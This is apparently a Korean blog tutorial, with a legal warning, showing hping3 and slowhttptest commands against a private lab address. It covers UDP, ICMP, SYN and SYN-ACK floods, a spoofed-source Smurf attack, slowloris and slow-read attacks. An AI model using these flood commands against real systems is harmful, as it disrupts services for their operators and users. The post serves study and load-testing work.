본문 바로가기

해킹-보안

hping3 명령어 사용법

반응형


hping은 패킷을 조작할 수 있는 프로그램으로서
주로 네트워크 장비의 부하를 테스트하거나 취약한 보안 설정을 개선하는 곳에 이용된다.

단! 허락 없이 엉뚱한 시스템에 사용하면 안된다.^^;;


제48조(정보통신망 침해행위 등의 금지)
③ 누구든지 정보 통신망의 안정적 운영을 방해할 목적으로 대량의 신호 또는 데이터를 보내거나
부정한 명령을 처리하도록 하는 등의 방법으로 정보통신망에 장애가 발생하게 하여서는 아니 된다.




ி UDP Flooding



전송 속도가 빠른 UDP 패킷에 의미 없는 데이터를 넣어 전송하여 대역폭을 소진한다.
# hping3 192.168.111.133 -2 --flood --rand-source -d 1000 -p 8180
- Vitim IP 주소
- UDP 패킷(-2)
- 공격자 IP를 랜덤으로 변조(rand-source)
- 최대 속도로 공격(flood)
- 패킷의 크기를 1000byte로 설정(d)
- 웹 서비스 타겟(톰캣-8180)



ி ICMP Flooding


다량의 ICMP를 피해자에게 전송하고 Request, Reply를 통해 대역폭을 소진한다.
# hping3 192.168.111.133 -1 --flood --rand-source -d 1000 –p 8180
–1 옵션은 ICMP를 의미한다.



ி SYN Flooding


조작된 출발지 IP로부터 서버는 SYN 패킷을 전송받고 
TCP 3-way handshake를 위하여 SYN-ACK 플래그를 가짜 출발지로 전송하는데 
이후 가짜 주소이므로 ACK 응답을 받지 못하고 연결할 때까지 기다리게 된다.
이때 백로그큐에 syn_recv 대기열이 길어져 할당된 가용 queue 메모리를 전부 고갈하게 되면
다른 사용자들의 접속에 제한이 생긴다.
# hping3 192.168.111.133 -S --flood --rand-source -p 8180


피해자 시스템에서 백로그 큐를 확인해보면 SYN_RECV가 가득 찬 상태로 나오게 된다.




ி Smurf Attack



출발지 IP를 피해자 IP로 변조하고 브로드캐스팅 주소로 ICMP 프로토콜을 요청하여 

다량의 Reply 값을 피해자 IP로 수신 되게 하여 대역폭을 소진하는 공격이다.

# hping3 192.168.111.255 -a 192.168.111.133 –1 --flood
–a 옵션을 이용하여 출발지 IP를 피해자 IP로 변조 후
브로드캐스트 주소인 192.168.111.255로 ICMP를 요청한다.



ி SYN-ACK Flooding



TCP 3-Way handshake에 처음부터 SYN-ACK 패킷을 전송하여
불필요한 RST 플래그 패킷을 유발해 CPU 자원이 과부하된다.
# hping3 192.168.111.133 -S -A --rand-source –p 8180 --flood
–S –A 옵션을 함께 사용하여 SYN-ACK 플래그 패킷을 설정한다.



아래부터는 hping3 명령어가 아니고 slowloris test를 위한 명령어입니다.
개인 학습에 참고하기 위해서 추가로 넣었습니다~ ^^..

ி slowloris


slowloris 공격은 http 요청 패킷의 비정상적인 마무리로 인하여 
서버가 해당하는 요청이 마무리가 될 때까지
일정 시간 동안 기다리게 되는 점을 이용하여 웹서버 자원을 소모하게 만드는 공격이다.
# slowhttptest -H -c 2000 -i 1 -r 100 -x 3 -p 3 –u [타겟 서버 주소]



ி slow read dos



slow read dos 공격은 window size를 작게 조절하여 서버가 요청에 대한 응답을 천천히 하게 만들어
세션을 장시간 유지하도록 하는 공격으로 웹 서버 자원을 소모 시킨다.
# slowhttptest -X -c 1000 -r 200 -p 3 -w 1 -n 5 -y 1 -z 1 –u [타겟 서버 주소]
위 사진은 마지막 패킷에서 Window size가 85byte 로
위 패킷들과 달리 사이즈가 점차 작아지는 것을 확인할 수 있다.




반응형